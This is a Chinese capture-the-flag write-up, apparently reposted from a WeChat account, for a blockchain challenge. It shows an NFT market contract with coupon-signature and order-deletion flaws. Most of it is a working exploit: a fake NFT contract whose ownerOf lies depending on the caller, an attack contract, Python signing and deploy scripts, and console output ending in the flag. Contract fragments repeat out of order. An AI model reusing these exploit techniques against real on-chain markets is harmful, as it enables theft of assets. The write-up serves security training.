线上预选赛区块链题
pragma solidity 0.8.16;
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
contract CtfNFT is ERC721, Ownable {
constructor() ERC721("CtfNFT", "NFT") {
_setApprovalForAll(address(this), msg.sender, true);
}
function mint(address to, uint256 tokenId) external onlyOwner {
_mint(to, tokenId);
}
}
contract CtfToken is ERC20 {
bool airdropped;
constructor() ERC20("CtfToken", "CTK") {
_mint(address(this), 100000000000);
_mint(msg.sender, 1337);
}
function airdrop() external {
require(!airdropped, "Already airdropped");
airdropped = true;
_mint(msg.sender, 5);
}
}
struct Order {
address nftAddress;
uint256 tokenId;
uint256 price;
}
struct Coupon {
uint256 orderId;
uint256 newprice;
address issuer;
address user;
bytes reason;
}
struct Signature {
uint8 v;
bytes32[2] rs;
}
struct SignedCoupon {
Coupon coupon;
Signature signature;
}
contract CtfMarket {
event SendFlag();
event NFTListed(
address indexed seller,
address indexed nftAddress,
uint256 indexed tokenId,
uint256 price
);
event NFTCanceled(
address indexed seller,
address indexed nftAddress,
uint256 indexed tokenId
);
event NFTBought(
address indexed buyer,
address indexed nftAddress,
uint256 indexed tokenId,
uint256 price
);
bool tested;
CtfNFT public ctfNFT;
CtfToken public ctfToken;
CouponVerifierBeta public verifier;
Order[] orders;
constructor() {
ctfToken = new CtfToken();
ctfToken.approve(address(this), type(uint256).max);
ctfNFT = new CtfNFT();
ctfNFT.mint(address(ctfNFT), 1);
ctfNFT.mint(address(this), 2);
ctfNFT.mint(address(this), 3);
verifier = new CouponVerifierBeta();
orders.push(Order(address(ctfNFT), 1, 1));
orders.push(Order(address(ctfNFT), 2, 1337));
orders.push(Order(address(ctfNFT), 3, 13333333337));
}
function getOrder(uint256 orderId) public view returns (Order memory order) {
require(orderId < orders.length, "Invalid orderId");
order = orders[orderId];
}
function createOrder(address nftAddress, uint256 tokenId, uint256 price) external returns(uint256) {
require(price > 0, "Invalid price");
require(isNFTApprovedOrOwner(nftAddress, msg.sender, tokenId), "Not owner");
orders.push(Order(nftAddress, tokenId, price));
emit NFTListed(msg.sender, nftAddress, tokenId, price);
return orders.length - 1;
}
function cancelOrder(uint256 orderId) external {
Order memory order = getOrder(orderId);
require(isNFTApprovedOrOwner(order.nftAddress, msg.sender, order.tokenId), "Not owner");
_deleteOrder(orderId);
emit NFTCanceled(msg.sender, order.nftAddress, order.tokenId);
}
function purchaseOrder(uint256 orderId) external {
Order memory order = getOrder(orderId);
_deleteOrder(orderId);
IERC721 nft = IERC721(order.nftAddress);
address owner = nft.ownerOf(order.tokenId);
ctfToken.transferFrom(msg.sender, owner, order.price);
nft.safeTransferFrom(owner, msg.sender, order.tokenId);
emit NFTBought(msg.sender, order.nftAddress, order.tokenId, order.price);
}
function purchaseWithCoupon(SignedCoupon calldata scoupon) external {
Coupon memory coupon = scoupon.coupon;
require(coupon.user == msg.sender, "Invalid user");
require(coupon.newprice > 0, "Invalid price");
verifier.verifyCoupon(scoupon);
Order memory order = getOrder(coupon.orderId);//(address=fakeNFT, id=3, price=1) orderID = 0
uint price = order.price; // price=1
_deleteOrder(coupon.orderId); // del 0
IERC721 nft = IERC721(order.nftAddress); // fakeNFT address
address owner = nft.ownerOf(order.tokenId);// fakeNFT fake ownerOf market
ctfToken.transferFrom(coupon.user, owner, price);// msg.sender market 1
IERC721(getOrder(coupon.orderId).nftAddress).safeTransferFrom(owner, coupon.user, order.tokenId);
_deleteOrder(coupon.orderId);
emit NFTBought(coupon.user, order.nftAddress, order.tokenId, coupon.newprice);
}
function purchaseTest(address nftAddress, uint256 tokenId, uint256 price) external {
require(!tested, "Tested");
tested = true;
IERC721 nft = IERC721(nftAddress);
uint256 orderId = CtfMarket(this).createOrder(nftAddress, tokenId, price);
nft.approve(address(this), tokenId);
CtfMarket(this).purchaseOrder(orderId);
}
function win() external {
require(ctfNFT.ownerOf(1) == msg.sender && ctfNFT.ownerOf(2) == msg.sender && ctfNFT.ownerOf(3) == msg.sender);
emit SendFlag();
}
function isNFTApprovedOrOwner(address nftAddress, address spender, uint256 tokenId) internal view returns (bool) {
IERC721 nft = IERC721(nftAddress);
address owner = nft.ownerOf(tokenId);
return (spender == owner || nft.isApprovedForAll(owner, spender) || nft.getApproved(tokenId) == spender);
}
function _deleteOrder(uint256 orderId) internal {
orders[orderId] = orders[orders.length - 1];
orders.pop();
}
function onERC721Received(address, address, uint256, bytes memory) public pure returns (bytes4) {
return this.onERC721Received.selector;
}
}
contract CouponVerifierBeta {
CtfMarket market;
bool tested;
constructor() {
market = CtfMarket(msg.sender);
}
function verifyCoupon(SignedCoupon calldata scoupon) public {
require(!tested, "Tested");
tested = true;
Coupon memory coupon = scoupon.coupon;
Signature memory sig = scoupon.signature;
Order memory order = market.getOrder(coupon.orderId);
bytes memory serialized = abi.encode(
"I, the issuer", coupon.issuer,
"offer a special discount for", coupon.user,
"to buy", order, "at", coupon.newprice,
"because", coupon.reason
);
IERC721 nft = IERC721(order.nftAddress);
address owner = nft.ownerOf(order.tokenId);
require(coupon.issuer == owner, "Invalid issuer");
require(ecrecover(keccak256(serialized), sig.v, sig.rs[0], sig.rs[1]) == coupon.issuer, "Invalid signature");
}
}
function win() external {
require(ctfNFT.ownerOf(1) == msg.sender && ctfNFT.ownerOf(2) == msg.sender && ctfNFT.ownerOf(3) == msg.sender);
emit SendFlag();
}
constructor() {
ctfToken = new CtfToken();
ctfToken.approve(address(this), type(uint256).max);
ctfNFT = new CtfNFT();
ctfNFT.mint(address(ctfNFT), 1);
ctfNFT.mint(address(this), 2);
ctfNFT.mint(address(this), 3);
verifier = new CouponVerifierBeta();
orders.push(Order(address(ctfNFT), 1, 1));
orders.push(Order(address(ctfNFT), 2, 1337));
orders.push(Order(address(ctfNFT), 3, 13333333337));
}
contract CtfToken is ERC20 {
bool airdropped;
constructor() ERC20("CtfToken", "CTK") {
_mint(address(this), 100000000000);
_mint(msg.sender, 1337);
}
function airdrop() external {
require(!airdropped, "Already airdropped");
airdropped = true;
_mint(msg.sender, 5);
}
}
function purchaseTest(address nftAddress, uint256 tokenId, uint256 price) external {
require(!tested, "Tested");
tested = true;
IERC721 nft = IERC721(nftAddress);
uint256 orderId = CtfMarket(this).createOrder(nftAddress, tokenId, price);
nft.approve(address(this), tokenId);
CtfMarket(this).purchaseOrder(orderId);
}
function purchaseWithCoupon(SignedCoupon calldata scoupon) external {
Coupon memory coupon = scoupon.coupon;
require(coupon.user == msg.sender, "Invalid user");
require(coupon.newprice > 0, "Invalid price");
verifier.verifyCoupon(scoupon);
Order memory order = getOrder(coupon.orderId);
uint price = order.price;
_deleteOrder(coupon.orderId);
IERC721 nft = IERC721(order.nftAddress);
address owner = nft.ownerOf(order.tokenId);
ctfToken.transferFrom(coupon.user, owner, price);
IERC721(getOrder(coupon.orderId).nftAddress).safeTransferFrom(owner, coupon.user, order.tokenId);
_deleteOrder(coupon.orderId);
emit NFTBought(coupon.user, order.nftAddress, order.tokenId, coupon.newprice);
}
struct Coupon {
uint256 orderId;
uint256 newprice;
address issuer;
address user;
bytes reason;
}
struct Signature {
uint8 v;
bytes32[2] rs;
}
struct SignedCoupon {
Coupon coupon;
Signature signature;
}
IERC721(getOrder(coupon.orderId).nftAddress).safeTransferFrom(owner, coupon.user, order.tokenId);
function _deleteOrder(uint256 orderId) internal {
orders[orderId] = orders[orders.length - 1];
orders.pop();
}
function createOrder(address nftAddress, uint256 tokenId, uint256 price) external returns(uint256) {
require(price > 0, "Invalid price");
require(isNFTApprovedOrOwner(nftAddress, msg.sender, tokenId), "Not owner");
orders.push(Order(nftAddress, tokenId, price));
emit NFTListed(msg.sender, nftAddress, tokenId, price);
return orders.length - 1;
}
function isNFTApprovedOrOwner(address nftAddress, address spender, uint256 tokenId) internal view returns (bool) {
IERC721 nft = IERC721(nftAddress);
address owner = nft.ownerOf(tokenId);
return (spender == owner || nft.isApprovedForAll(owner, spender) || nft.getApproved(tokenId) == spender);
}
function verifyCoupon(SignedCoupon calldata scoupon) public {
require(!tested, "Tested");
tested = true;
Coupon memory coupon = scoupon.coupon;
Signature memory sig = scoupon.signature;
Order memory order = market.getOrder(coupon.orderId);
bytes memory serialized = abi.encode(
"I, the issuer", coupon.issuer,
"offer a special discount for", coupon.user,
"to buy", order, "at", coupon.newprice,
"because", coupon.reason
);
IERC721 nft = IERC721(order.nftAddress);
address owner = nft.ownerOf(order.tokenId);
require(coupon.issuer == owner, "Invalid issuer");
require(ecrecover(keccak256(serialized), sig.v, sig.rs[0], sig.rs[1]) == coupon.issuer, "Invalid signature");
}
bool public flag = false;
function ownerOf(uint256 tokenId) public virtual returns(address) {
if (!flag) {
flag = true;
return fake_issurerl;
} else {
return market;
}
}
function ownerOf(uint256 tokenId) external view returns (address owner);
function ownerOf(uint256 tokenId) public virtual returns(address) {
if (msg.sender==address(market)) {
return market;
} else {
return fake_issuer;
}
}
function getSerialized() public view returns (bytes32) {
Coupon memory coupon = Coupon(
0, // orderId
1, // newprice
issuer, // issuer
address(this), // user
bytes("exp")
);
Order memory order = market.getOrder(coupon.orderId);
bytes memory serialized = abi.encode(
"I, the issuer", coupon.issuer,
"offer a special discount for", coupon.user,
"to buy", order, "at", coupon.newprice,
"because", coupon.reason
);
return keccak256(serialized);
}
from web3.auto import w3
from web3 import Web3
from eth_account.messages import encode_defunct, _hash_eip191_message
def to_32byte_hex(val):
return Web3.toHex(Web3.toBytes(val).rjust(32, b' '))
private_key = '0x6f985a8ef2c5b6e77'
_hash = "0x7c9830d7479756cbc3c70f0441c4ba902d66f4587f27edce9ef0e260aa61897b"
sign = w3.eth.account.signHash(_hash, private_key=private_key)
print("h: {}", Web3.toHex(sign.messageHash))
print("v: {}", sign.v)
print("r; {}", to_32byte_hex(sign.r))
print("s: {}", to_32byte_hex(sign.s))
ad = w3.eth.account.recoverHash(_hash, signature=sign.signature)
print(ad)
这样就能获取到相应的vrs。
[+] Welcome!
[+] sha256(g5VvvAbh+?).binary.endswith('000000000000000000')
[-] ?=554540
[+] passed
We design a pretty easy contract game. Enjoy it!
1. Create a game account
2. Deploy a game contract
3. Request for flag
4. Get source code
ps: Option 1, get an account which will be used to deploy the contract;
ps: Option 2, the robot will use the account to deploy the contract for the problem;
ps: Option 3, use this option to obtain the flag when emit SendFlag event in the contract;
ps: Option 4, use this option to get source code.
You can finish this challenge in a lot of connections.
^_^ geth attach http://ip:8545
^_^ Get Testnet Ether from http://ip:8080
[-] input your choice: 2
[-] input your token: am6ZpsjrTJzmQMDHWxUQhxSv4C5mzeSi0EczjjLZ+DSlFwaVtmFqj2ALy2QqxqMn/ehMFY0vls/XpZ2OMQj1GkVMwZI+B83T1d30X5IV2eS96FXqi9RIFvd+yC5Wx9hN9Xbsej4ogGqztg0hH8A4EE8OxakX3Mc9gsCljsCdlS4=
[+] new token: 97zQeRnF6GYJy/ETfLMzJu6FeFag2BiP67zGUs8p+PAkGO6t7QrV+7SHAC19gM8ZT+dh9wpRiQfbXAg2rxQNKcAmNATrP+VmUP+DVaoKzzWTiYwkBQeaU6JSprqJyiKOm9BehGckozgDb+hh8YGTxFr8jpxG3pZBRNDuh35uX1HxXTSoNMUhy9AODO82S+099s+cK2BR55kNVQa4turEnw==
[+] Your goal is to emit SendFlag event
[+] Transaction hash: 0x486eb65e5e0c273d3302f0c659e8ad5c75bb85752853fb92659e247fd92c7c76
[+] CtfMarket contract address : 0x99a4d18Ed41d62B76f97421880Ac393363b33DC0
contract FakeNFT is Context, ERC165 {
address public fake_issuer;
address public market;
bool public open;
mapping(uint256 => address) public _owners;
function set_fake_issuer(address _fake_issuer) public {
fake_issuer = _fake_issuer;
}
function set_market_owner(address _market) public {
market = _market;
}
function mint(address _owner, uint256 _tokenId) public {
_owners[_tokenId] = _owner;
}
function ownerOf(uint256 tokenId) public virtual returns(address) {
if (msg.sender==address(market)) {
return market;
} else {
return fake_issuer;
}
}
function isApprovedForAll(address _owner, address _spender) public pure returns(bool) {
return true;
}
function getApproved(address _tokenId) public view returns (address) {
return address(this);
}
}
contract exp {
CtfMarket public market = CtfMarket(0x99a4d18Ed41d62B76f97421880Ac393363b33DC0);
CtfNFT public nft = CtfNFT(0xff109547782BdDe334d5B2397936A3A14f3F9e3b);
CtfToken public token = CtfToken(0x731a35e5E037a8093eddc4CBAE114A8d44a210fc);
FakeNFT public fakeNFT;
address issuer = 0x206282f74534CE358Db1125793A074Bf5da06943;
constructor() {
fakeNFT = new FakeNFT();
fakeNFT.set_fake_issuer(issuer);
fakeNFT.set_market_owner(address(market));
mintFakeNFT();
createFakeOrder();
airDrop();
buy1();
lie();
}
function mintFakeNFT() public {
// mint假的nft给本合约
fakeNFT.mint(address(this), 3); // 123 [4]
}
function createFakeOrder() public {
// 创建假的订单
market.createOrder(address(fakeNFT), 3, 1);// 123 [4]
}
function airDrop() public {
// 领取空投
token.airdrop();
}
function buy1() public {
// 授权给market足够的token
token.approve(address(market), 100000000);
// 授权给market所有的nft
nft.setApprovalForAll(address(market), true);
// 购买1号nft
market.purchaseOrder(0); // 423
// 创建1号nft价格为1wei的订单
market.createOrder(address(nft), 1, 1); // 4231
}
// 强卖1号nft给market合约
function lie() public {
// 创建1337wei的订单,market购买该订单
market.purchaseTest(address(nft), 1, 1337); // 42311 //4231
// 买回1号nft
market.purchaseOrder(3); // 423
// 买2号nft
market.purchaseOrder(1); // 43
}
// 买3号nft
function buy3(uint8 v, bytes32[2] calldata rs) public {
market.purchaseWithCoupon(SignedCoupon(
Coupon(
0, // orderId,0号订单,指向假订单
1, // newprice,该价格是之后我们合约向nft所有者转账的金额
issuer, // issuer,折扣提供者,这里应为我们签名的地址
address(this), // user
bytes("exp")
),
Signature(
v, rs
)
));
}
function flag() public {
market.win();
}
function onERC721Received(address, address, uint256, bytes memory) public pure returns (bytes4) {
return this.onERC721Received.selector;
}
function getSerialized() public view returns (bytes32) {
Coupon memory coupon = Coupon(
0, // orderId
1, // newprice
issuer, // issuer
address(this), // user
bytes("exp")
);
Order memory order = market.getOrder(coupon.orderId);
bytes memory serialized = abi.encode(
"I, the issuer", coupon.issuer,
"offer a special discount for", coupon.user,
"to buy", order, "at", coupon.newprice,
"because", coupon.reason
);
return keccak256(serialized);
}
}
with open('bytecode.txt', 'r') as f:
code = f.read()
bytecode = code
contract = w3.eth.contract(abi=abi, bytecode=bytecode)
construct_txn = contract.constructor().buildTransaction({
'from': account.address,
'nonce': w3.eth.getTransactionCount(account.address),
'gas': 5000000,
'gasPrice': w3.toWei('21', 'gwei')
}
)
signed = account.signTransaction(construct_txn)
tx_id = w3.eth.sendRawTransaction(signed.rawTransaction)
receipt = w3.eth.waitForTransactionReceipt(tx_id)
address = receipt.contractAddress
print(address)
% python dev.py
0xc7C6f3893fF863bc070630C86bBeb26Cf0a07e0d
% python sign.py
h: {} 0x7c9830d7479756cbc3c70f0441c4ba902d66f4587f27edce9ef0e260aa61897b
v: {} 27
r; {} 0x3c0690f0dbb4ef2ec42d482c58d411c04090560b292d518d660f783e2a9e0f2d
s: {} 0x5e79e613d1653406d9d036d64ceee4971b84941adda64e85e5a964b7d22e538b
0x206282f74534CE358Db1125793A074Bf5da06943
python rpc.py
True
0x206282f74534CE358Db1125793A074Bf5da06943
AttributeDict({'blockHash': HexBytes('0xff53d1c989e5cad76e3b9bea0af493f9e35c186346bc6be2943591c0905179e5'), 'blockNumber': 104831, 'contractAddress': None, 'cumulativeGasUsed': 36902, 'effectiveGasPrice': 1000000000, 'from': '0x206282f74534CE358Db1125793A074Bf5da06943', 'gasUsed': 36902, 'logs': [AttributeDict({'address': '0x99a4d18Ed41d62B76f97421880Ac393363b33DC0', 'topics': [HexBytes('0x23ddb4dbb8577d03ebf1139a17a5c016963c43761e8ccd21eaa68e9b8ce6a68e')], 'data': '0x', 'blockNumber': 104831, 'transactionHash': HexBytes('0x56fdb6bf7a8bacec6e316d50a1b02137b8049a0490069fed52a76736588ca253'), 'transactionIndex': 0, 'blockHash': HexBytes('0xff53d1c989e5cad76e3b9bea0af493f9e35c186346bc6be2943591c0905179e5'), 'logIndex': 0, 'removed': False})], 'logsBloom': HexBytes('0x00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000004000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000800000010000000000000000000002000000000000'), 'status': 1, 'to': '0xc7C6f3893fF863bc070630C86bBeb26Cf0a07e0d', 'transactionHash': HexBytes('0x56fdb6bf7a8bacec6e316d50a1b02137b8049a0490069fed52a76736588ca253'), 'transactionIndex': 0, 'type': '0x0'})
[+] Welcome!
[+] sha256(iDjT6WLv+?).binary.endswith('000000000000000000')
[-] ?=173952
[+] passed
We design a pretty easy contract game. Enjoy it!
1. Create a game account
2. Deploy a game contract
3. Request for flag
4. Get source code
ps: Option 1, get an account which will be used to deploy the contract;
ps: Option 2, the robot will use the account to deploy the contract for the problem;
ps: Option 3, use this option to obtain the flag when emit SendFlag event in the contract;
ps: Option 4, use this option to get source code.
You can finish this challenge in a lot of connections.
^_^ geth attach http://ip:8545
^_^ Get Testnet Ether from http://ip:8080
[-] input your choice: 3
[-]input your new token: 97zQeRnF6GYJy/ETfLMzJu6FeFag2BiP67zGUs8p+PAkGO6t7QrV+7SHAC19gM8ZT+dh9wpRiQfbXAg2rxQNKcAmNATrP+VmUP+DVaoKzzWTiYwkBQeaU6JSprqJyiKOm9BehGckozgDb+hh8YGTxFr8jpxG3pZBRNDuh35uX1HxXTSoNMUhy9AODO82S+099s+cK2BR55kNVQa4turEnw==
[-] input tx_hash that emitted SendFlag event: 0x56fdb6bf7a8bacec6e316d50a1b02137b8049a0490069fed52a76736588ca253
[+] flag:flag{dbf227cc-3cbe-4237-b68b-2269e00a3ed0}
原文始发于微信公众号(山石网科安全技术研究院):强网拟态区块链题Revenge NTF WP